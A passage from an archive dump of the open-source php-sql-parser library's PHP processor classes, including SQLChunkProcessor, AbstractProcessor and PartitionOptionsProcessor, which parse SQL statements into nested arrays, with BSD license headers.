                               'base_expr' => trim($last['base_expr']));
                // remove the last token
                array_pop($tokens);
            }
        }

        $base_expr = $expression;

        // TODO: this is always done with $stripped, how we do it twice?
        $processed = $this->processExpressionList($tokens);

        // if there is only one part, we copy the expr_type
        // in all other cases we use "EXPRESSION" as global type
        $type = ExpressionType::EXPRESSION;
        if (count($processed) === 1) {
            if (!$this->isSubQuery($processed[0])) {
                $type = $processed[0]['expr_type'];
                $base_expr = $processed[0]['base_expr'];
                $no_quotes = isset($processed[0]['no_quotes']) ? $processed[0]['no_quotes'] : null;
                $processed = $processed[0]['sub_tree']; // it can be FALSE
            }
        }

        $result = array();
        $result['expr_type'] = $type;
        $result['alias'] = $alias;
        $result['base_expr'] = trim($base_expr);
        if (!empty($no_quotes)) {
            $result['no_quotes'] = $no_quotes;
        }
        $result['sub_tree'] = (empty($processed) ? false : $processed);
        return $result;
    }

}
?>
PK     \VXv   v   Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/SQLChunkProcessor.phpnu [        <?php
/**
 * SQLChunkProcessor.php
 *
 * This file implements the processor for the SQL chunks.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the SQL chunks.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class SQLChunkProcessor extends AbstractProcessor {

    protected function moveLIKE(&$out) {
        if (!isset($out['TABLE']['like'])) {
            return;
        }
        $out = $this->array_insert_after($out, 'TABLE', array('LIKE' => $out['TABLE']['like']));
        unset($out['TABLE']['like']);
    }

    public function process($out) {
        if (!$out) {
            return false;
        }
        if (!empty($out['BRACKET'])) {
            // TODO: this field should be a global STATEMENT field within the output
            // we could add all other categories as sub_tree, it could also work with multipe UNIONs
            $processor = new BracketProcessor($this->options);
            $processedBracket = $processor->process($out['BRACKET']);
            $remainingExpressions = $processedBracket[0]['remaining_expressions'];

            unset($processedBracket[0]['remaining_expressions']);

            if(!empty($remainingExpressions)) {
                foreach($remainingExpressions as $key=>$expression) {
                    $processedBracket[][$key] = $expression;
                }
            }

            $out['BRACKET'] = $processedBracket;
        }
        if (!empty($out['CREATE'])) {
            $processor = new CreateProcessor($this->options);
            $out['CREATE'] = $processor->process($out['CREATE']);
        }
        if (!empty($out['TABLE'])) {
            $processor = new TableProcessor($this->options);
            $out['TABLE'] = $processor->process($out['TABLE']);
            $this->moveLIKE($out);
        }
        if (!empty($out['INDEX'])) {
            $processor = new IndexProcessor($this->options);
            $out['INDEX'] = $processor->process($out['INDEX']);
        }
        if (!empty($out['EXPLAIN'])) {
            $processor = new ExplainProcessor($this->options);
            $out['EXPLAIN'] = $processor->process($out['EXPLAIN'], array_keys($out));
        }
        if (!empty($out['DESCRIBE'])) {
            $processor = new DescribeProcessor($this->options);
            $out['DESCRIBE'] = $processor->process($out['DESCRIBE'], array_keys($out));
        }
        if (!empty($out['DESC'])) {
            $processor = new DescProcessor($this->options);
            $out['DESC'] = $processor->process($out['DESC'], array_keys($out));
        }
        if (!empty($out['SELECT'])) {
            $processor = new SelectProcessor($this->options);
            $out['SELECT'] = $processor->process($out['SELECT']);
        }
        if (!empty($out['FROM'])) {
            $processor = new FromProcessor($this->options);
            $out['FROM'] = $processor->process($out['FROM']);
        }
        if (!empty($out['USING'])) {
            $processor = new UsingProcessor($this->options);
            $out['USING'] = $processor->process($out['USING']);
        }
        if (!empty($out['UPDATE'])) {
            $processor = new UpdateProcessor($this->options);
            $out['UPDATE'] = $processor->process($out['UPDATE']);
        }
        if (!empty($out['GROUP'])) {
            // set empty array if we have partial SQL statement
            $processor = new GroupByProcessor($this->options);
            $out['GROUP'] = $processor->process($out['GROUP'], isset($out['SELECT']) ? $out['SELECT'] : array());
        }
        if (!empty($out['ORDER'])) {
            // set empty array if we have partial SQL statement
            $processor = new OrderByProcessor($this->options);
            $out['ORDER'] = $processor->process($out['ORDER'], isset($out['SELECT']) ? $out['SELECT'] : array());
        }
        if (!empty($out['LIMIT'])) {
            $processor = new LimitProcessor($this->options);
            $out['LIMIT'] = $processor->process($out['LIMIT']);
        }
        if (!empty($out['WHERE'])) {
            $processor = new WhereProcessor($this->options);
            $out['WHERE'] = $processor->process($out['WHERE']);
        }
        if (!empty($out['HAVING'])) {
            $processor = new HavingProcessor($this->options);
            $out['HAVING'] = $processor->process($out['HAVING'], isset($out['SELECT']) ? $out['SELECT'] : array());
        }
        if (!empty($out['SET'])) {
            $processor = new SetProcessor($this->options);
            $out['SET'] = $processor->process($out['SET'], isset($out['UPDATE']));
        }
        if (!empty($out['DUPLICATE'])) {
            $processor = new DuplicateProcessor($this->options);
            $out['ON DUPLICATE KEY UPDATE'] = $processor->process($out['DUPLICATE']);
            unset($out['DUPLICATE']);
        }
        if (!empty($out['INSERT'])) {
            $processor = new InsertProcessor($this->options);
            $out = $processor->process($out);
        }
        if (!empty($out['REPLACE'])) {
            $processor = new ReplaceProcessor($this->options);
            $out = $processor->process($out);
        }
        if (!empty($out['DELETE'])) {
            $processor = new DeleteProcessor($this->options);
            $out = $processor->process($out);
        }
        if (!empty($out['VALUES'])) {
            $processor = new ValuesProcessor($this->options);
            $out = $processor->process($out);
        }
        if (!empty($out['INTO'])) {
            $processor = new IntoProcessor($this->options);
            $out = $processor->process($out);
        }
        if (!empty($out['DROP'])) {
            $processor = new DropProcessor($this->options);
            $out['DROP'] = $processor->process($out['DROP']);
        }
        if (!empty($out['RENAME'])) {
            $processor = new RenameProcessor($this->options);
            $out['RENAME'] = $processor->process($out['RENAME']);
        }
        if (!empty($out['SHOW'])) {
            $processor = new ShowProcessor($this->options);
            $out['SHOW'] = $processor->process($out['SHOW']);
        }
        if (!empty($out['OPTIONS'])) {
            $processor = new OptionsProcessor($this->options);
            $out['OPTIONS'] = $processor->process($out['OPTIONS']);
        }
        if (!empty($out['WITH'])) {
        	$processor = new WithProcessor($this->options);
        	$out['WITH'] = $processor->process($out['WITH']);
        }

        return $out;
    }
}
?>
PK     \AF  F  R  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/DuplicateProcessor.phpnu [        <?php
/**
 * DuplicateProcessor.php
 *
 * This file implements the processor for the DUPLICATE statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;

/**
 * 
 * This class processes the DUPLICATE statements.
 * 
 * @author arothe
 * 
 */
class DuplicateProcessor extends SetProcessor {

    public function process($tokens, $isUpdate = false) {
        return parent::process($tokens, $isUpdate);
    }

}
?>
PK     \(  (  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/AbstractProcessor.phpnu [        <?php
/**
 * AbstractProcessor.php
 *
 * This file implements an abstract processor, which implements some helper functions.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

use PHPSQLParser\lexer\PHPSQLLexer;
use PHPSQLParser\Options;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class contains some general functions for a processor.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
abstract class AbstractProcessor {

    /**
     * @var Options
     */
    protected $options;

    /**
     * AbstractProcessor constructor.
     *
     * @param Options $options
     */
    public function __construct(?Options $options = null)
    {
        $this->options = $options;
    }

    /**
     * This function implements the main functionality of a processor class.
     * Always use default valuses for additional parameters within overridden functions.
     */
    public abstract function process($tokens);

    /**
     * this function splits up a SQL statement into easy to "parse"
     * tokens for the SQL processor
     */
    public function splitSQLIntoTokens($sql) {
        $lexer = new PHPSQLLexer();
        return $lexer->split($sql);
    }

    /**
     * Revokes the quoting characters from an expression
     * Possibibilies:
     *   `a`
     *   'a'
     *   "a"
     *   `a`.`b`
     *   `a.b`
     *   a.`b`
     *   `a`.b
     * It is also possible to have escaped quoting characters
     * within an expression part:
     *   `a``b` => a`b
     * And you can use whitespace between the parts:
     *   a  .  `b` => [a,b]
     */
    protected function revokeQuotation($sql) {
        $tmp = trim($sql);
        $result = array();

        $quote = false;
        $start = 0;
        $i = 0;
        $len = strlen($tmp);

        while ($i < $len) {

            $char = $tmp[$i];
            switch ($char) {
            case '`':
            case '\'':
            case '"':
                if ($quote === false) {
                    // start
                    $quote = $char;
                    $start = $i + 1;
                    break;
                }
                if ($quote !== $char) {
                    break;
                }
                if (isset($tmp[$i + 1]) && ($quote === $tmp[$i + 1])) {
                    // escaped
                    $i++;
                    break;
                }
                // end
                $char = substr($tmp, $start, $i - $start);
                $result[] = str_replace($quote . $quote, $quote, $char);
                $start = $i + 1;
                $quote = false;
                break;

            case '.':
                if ($quote === false) {
                    // we have found a separator
                    $char = trim(substr($tmp, $start, $i - $start));
                    if ($char !== '') {
                        $result[] = $char;
                    }
                    $start = $i + 1;
                }
                break;

            default:
            // ignore
                break;
            }
            $i++;
        }

        if ($quote === false && ($start < $len)) {
            $char = trim(substr($tmp, $start, $i - $start));
            if ($char !== '') {
                $result[] = $char;
            }
        }

        return array('delim' => (count($result) === 1 ? false : '.'), 'parts' => $result);
    }

    /**
     * This method removes parenthesis from start of the given string.
     * It removes also the associated closing parenthesis.
     */
    protected function removeParenthesisFromStart($token) {
        $parenthesisRemoved = 0;

        $trim = trim($token);
        if ($trim !== '' && $trim[0] === '(') { // remove only one parenthesis pair now!
            $parenthesisRemoved++;
            $trim[0] = ' ';
            $trim = trim($trim);
        }

        $parenthesis = $parenthesisRemoved;
        $i = 0;
        $string = 0;
        // Whether a string was opened or not, and with which character it was open (' or ")
        $stringOpened = '';
        while ($i < strlen($trim)) {

            if ($trim[$i] === "\\") {
                $i += 2; // an escape character, the next character is irrelevant
                continue;
            }

            if ($trim[$i] === "'") {
                if ($stringOpened === '') {
                    $stringOpened = "'";
                } elseif ($stringOpened === "'") {
                    $stringOpened = '';
                }
            }

            if ($trim[$i] === '"') {
                if ($stringOpened === '') {
                    $stringOpened = '"';
                } elseif ($stringOpened === '"') {
                    $stringOpened = '';
                }
            }

            if (($stringOpened === '') && ($trim[$i] === '(')) {
                $parenthesis++;
            }

            if (($stringOpened === '') && ($trim[$i] === ')')) {
                if ($parenthesis == $parenthesisRemoved) {
                    $trim[$i] = ' ';
                    $parenthesisRemoved--;
                }
                $parenthesis--;
            }
            $i++;
        }
        return trim($trim);
    }

    protected function getVariableType($expression) {
        // $expression must contain only upper-case characters
        if ($expression[1] !== '@') {
            return ExpressionType::USER_VARIABLE;
        }

        $type = substr($expression, 2, strpos($expression, '.', 2));

        switch ($type) {
        case 'GLOBAL':
            $type = ExpressionType::GLOBAL_VARIABLE;
            break;
        case 'LOCAL':
            $type = ExpressionType::LOCAL_VARIABLE;
            break;
        case 'SESSION':
        default:
            $type = ExpressionType::SESSION_VARIABLE;
            break;
        }
        return $type;
    }

    protected function isCommaToken($token) {
        return (trim($token) === ',');
    }

    protected function isWhitespaceToken($token) {
        return (trim($token) === '');
    }

    protected function isCommentToken($token) {
        return isset($token[0]) && isset($token[1])
                && (($token[0] === '-' && $token[1] === '-') || ($token[0] === '/' && $token[1] === '*'));
    }

    protected function isColumnReference($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::COLREF);
    }

    protected function isReserved($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::RESERVED);
    }

    protected function isConstant($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::CONSTANT);
    }

    protected function isAggregateFunction($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::AGGREGATE_FUNCTION);
    }

    protected function isCustomFunction($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::CUSTOM_FUNCTION);
    }

    protected function isFunction($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::SIMPLE_FUNCTION);
    }

    protected function isExpression($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::EXPRESSION);
    }

    protected function isBracketExpression($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::BRACKET_EXPRESSION);
    }

    protected function isSubQuery($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::SUBQUERY);
    }

    protected function isComment($out) {
        return (isset($out['expr_type']) && $out['expr_type'] === ExpressionType::COMMENT);
    }

    public function processComment($expression) {
        $result = array();
        $result['expr_type'] = ExpressionType::COMMENT;
        $result['value'] = $expression;
        return $result;
    }

    /**
     * translates an array of objects into an associative array
     */
    public function toArray($tokenList) {
        $expr = array();
        foreach ($tokenList as $token) {
            if ($token instanceof \PHPSQLParser\utils\ExpressionToken) {
                $expr[] = $token->toArray();
            } else {
                $expr[] = $token;
            }
        }
        return $expr;
    }

    protected function array_insert_after($array, $key, $entry) {
        $idx = array_search($key, array_keys($array));
        $array = array_slice($array, 0, $idx + 1, true) + $entry
                + array_slice($array, $idx + 1, count($array) - 1, true);
        return $array;
    }
}
?>
PK     \    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/DefaultProcessor.phpnu [        <?php
/**
 * DefaultProcessor.php
 *
 * This file implements the processor the unparsed sql string given by the user.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the incoming sql string.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class DefaultProcessor extends AbstractProcessor {

    protected function isUnion($tokens) {
        return UnionProcessor::isUnion($tokens);
    }

    protected function processUnion($tokens) {
        // this is the highest level lexical analysis. This is the part of the
        // code which finds UNION and UNION ALL query parts
        $processor = new UnionProcessor($this->options);
        return $processor->process($tokens);
    }

    protected function processSQL($tokens) {
        $processor = new SQLProcessor($this->options);
        return $processor->process($tokens);
    }

    public function process($sql) {

        $inputArray = $this->splitSQLIntoTokens($sql);
        $queries = $this->processUnion($inputArray);

        // If there was no UNION or UNION ALL in the query, then the query is
        // stored at $queries[0].
        if (!empty($queries) && !$this->isUnion($queries)) {
            $queries = $this->processSQL($queries[0]);
        }

        return $queries;
    }

    public function revokeQuotation($sql) {
        return parent::revokeQuotation($sql);
    }
}

?>
PK     \%!6  !6  Y  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/PartitionOptionsProcessor.phpnu [        <?php
/**
 * PartitionOptionsProcessor.php
 *
 * This file implements the processor for the PARTITION BY statements
 * within CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the PARTITION BY statements within CREATE TABLE.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class PartitionOptionsProcessor extends AbstractProcessor {

    protected function processExpressionList($unparsed) {
        $processor = new ExpressionListProcessor($this->options);
        $expr = $this->removeParenthesisFromStart($unparsed);
        $expr = $this->splitSQLIntoTokens($expr);
        return $processor->process($expr);
    }

    protected function processColumnList($unparsed) {
        $processor = new ColumnListProcessor($this->options);
        $expr = $this->removeParenthesisFromStart($unparsed);
        return $processor->process($expr);
    }

    protected function processPartitionDefinition($unparsed) {
        $processor = new PartitionDefinitionProcessor($this->options);
        $expr = $this->removeParenthesisFromStart($unparsed);
        $expr = $this->splitSQLIntoTokens($expr);
        return $processor->process($expr);
    }

    protected function getReservedType($token) {
        return array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $token);
    }

    protected function getConstantType($token) {
        return array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $token);
    }

    protected function getOperatorType($token) {
        return array('expr_type' => ExpressionType::OPERATOR, 'base_expr' => $token);
    }

    protected function getBracketExpressionType($token) {
        return array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $token, 'sub_tree' => false);
    }

    public function process($tokens) {

        $result = array('partition-options' => array(), 'last-parsed' => false);

        $prevCategory = '';
        $currCategory = '';
        $parsed = array();
        $expr = array();
        $base_expr = '';
        $skip = 0;

        foreach ($tokens as $tokenKey => $token) {
            $trim = trim($token);
            $base_expr .= $token;

            if ($skip > 0) {
                $skip--;
                continue;
            }

            if ($skip < 0) {
                break;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case 'PARTITION':
                $currCategory = $upper;
                $expr[] = $this->getReservedType($trim);
                $parsed[] = array('expr_type' => ExpressionType::PARTITION, 'base_expr' => trim($base_expr),
                                  'sub_tree' => false);
                break;

            case 'SUBPARTITION':
                $currCategory = $upper;
                $expr[] = $this->getReservedType($trim);
                $parsed[] = array('expr_type' => ExpressionType::SUBPARTITION, 'base_expr' => trim($base_expr),
                                  'sub_tree' => false);
                break;

            case 'BY':
                if ($prevCategory === 'PARTITION' || $prevCategory === 'SUBPARTITION') {
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                break;

            case 'PARTITIONS':
            case 'SUBPARTITIONS':
                $currCategory = 'PARTITION_NUM';
                $expr = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::' . substr($upper, 0, -1) . '_COUNT'),
                              'base_expr' => false, 'sub_tree' => array($this->getReservedType($trim)),
                              'storage' => substr($base_expr, 0, -strlen($token)));
                $base_expr = $token;
                continue 2;

            case 'LINEAR':
            // followed by HASH or KEY
                $currCategory = $upper;
                $expr[] = $this->getReservedType($trim);
                continue 2;

            case 'HASH':
            case 'KEY':
                $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::' . $prevCategory . '_' . $upper),
                                'base_expr' => false, 'linear' => ($currCategory === 'LINEAR'), 'sub_tree' => false,
                                'storage' => substr($base_expr, 0, -strlen($token)));

                $last = array_pop($parsed);
                $last['by'] = trim($currCategory . ' ' . $upper); // $currCategory will be empty or LINEAR!
                $last['sub_tree'] = $expr;
                $parsed[] = $last;

                $base_expr = $token;
                $expr = array($this->getReservedType($trim));

                $currCategory = $upper;
                continue 2;

            case 'ALGORITHM':
                if ($currCategory === 'KEY') {
                    $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::' . $prevCategory . '_KEY_ALGORITHM'),
                                    'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $last = array_pop($parsed);
                    $subtree = array_pop($last['sub_tree']);
                    $subtree['sub_tree'] = $expr;
                    $last['sub_tree'][] = $subtree;
                    $parsed[] = $last;
                    unset($subtree);
                    unset($last);

                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));
                    $currCategory = $upper;
                    continue 2;
                }
                break;

            case 'RANGE':
            case 'LIST':
                $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::PARTITION_' . $upper), 'base_expr' => false,
                                'sub_tree' => false, 'storage' => substr($base_expr, 0, -strlen($token)));

                $last = array_pop($parsed);
                $last['by'] = $upper;
                $last['sub_tree'] = $expr;
                $parsed[] = $last;
                unset($last);

                $base_expr = $token;
                $expr = array($this->getReservedType($trim));

                $currCategory = $upper . '_EXPR';
                continue 2;

            case 'COLUMNS':
                if ($currCategory === 'RANGE_EXPR' || $currCategory === 'LIST_EXPR') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = substr($currCategory, 0, -4) . $upper;
                    continue 2;
                }
                break;

            case '=':
                if ($currCategory === 'ALGORITHM') {
                    // between ALGORITHM and a constant
                    $expr[] = $this->getOperatorType($trim);
                    continue 2;
                }
                break;

            default:
                switch ($currCategory) {

                case 'PARTITION_NUM':
                // the number behind PARTITIONS or SUBPARTITIONS
                    $expr['base_expr'] = trim($base_expr);
                    $expr['sub_tree'][] = $this->getConstantType($trim);
                    $base_expr = $expr['storage'] . $base_expr;
                    unset($expr['storage']);

                    $last = array_pop($parsed);
                    $last['count'] = $trim;
                    $last['sub_tree'][] = $expr;
                    $last['base_expr'] .= $base_expr;
                    $parsed[] = $last;
                    unset($last);

                    $expr = array();
                    $base_expr = '';
                    $currCategory = $prevCategory;
                    break;

                case 'ALGORITHM':
                // the number of the algorithm
                    $expr[] = $this->getConstantType($trim);

                    $last = array_pop($parsed);
                    $subtree = array_pop($last['sub_tree']);
                    $key = array_pop($subtree['sub_tree']);

                    $key['sub_tree'] = $expr;
                    $key['base_expr'] = trim($base_expr);

                    $base_expr = $key['storage'] . $base_expr;
                    unset($key['storage']);

                    $subtree['sub_tree'][] = $key;
                    unset($key);

                    $expr = $subtree['sub_tree'];
                    $subtree['sub_tree'] = false;
                    $subtree['algorithm'] = $trim;
                    $last['sub_tree'][] = $subtree;
                    unset($subtree);

                    $parsed[] = $last;
                    unset($last);
                    $currCategory = 'KEY';
                    continue 3;

                case 'LIST_EXPR':
                case 'RANGE_EXPR':
                case 'HASH':
                // parenthesis around an expression
                    $last = $this->getBracketExpressionType($trim);
                    $res = $this->processExpressionList($trim);
                    $last['sub_tree'] = (empty($res) ? false : $res);
                    $expr[] = $last;

                    $last = array_pop($parsed);
                    $subtree = array_pop($last['sub_tree']);
                    $subtree['base_expr'] = $base_expr;
                    $subtree['sub_tree'] = $expr;

                    $base_expr = $subtree['storage'] . $base_expr;
                    unset($subtree['storage']);
                    $last['sub_tree'][] = $subtree;
                    $last['base_expr'] = trim($base_expr);
                    $parsed[] = $last;
                    unset($last);
                    unset($subtree);

                    $expr = array();
                    $base_expr = '';
                    $currCategory = $prevCategory;
                    break;

                case 'LIST_COLUMNS':
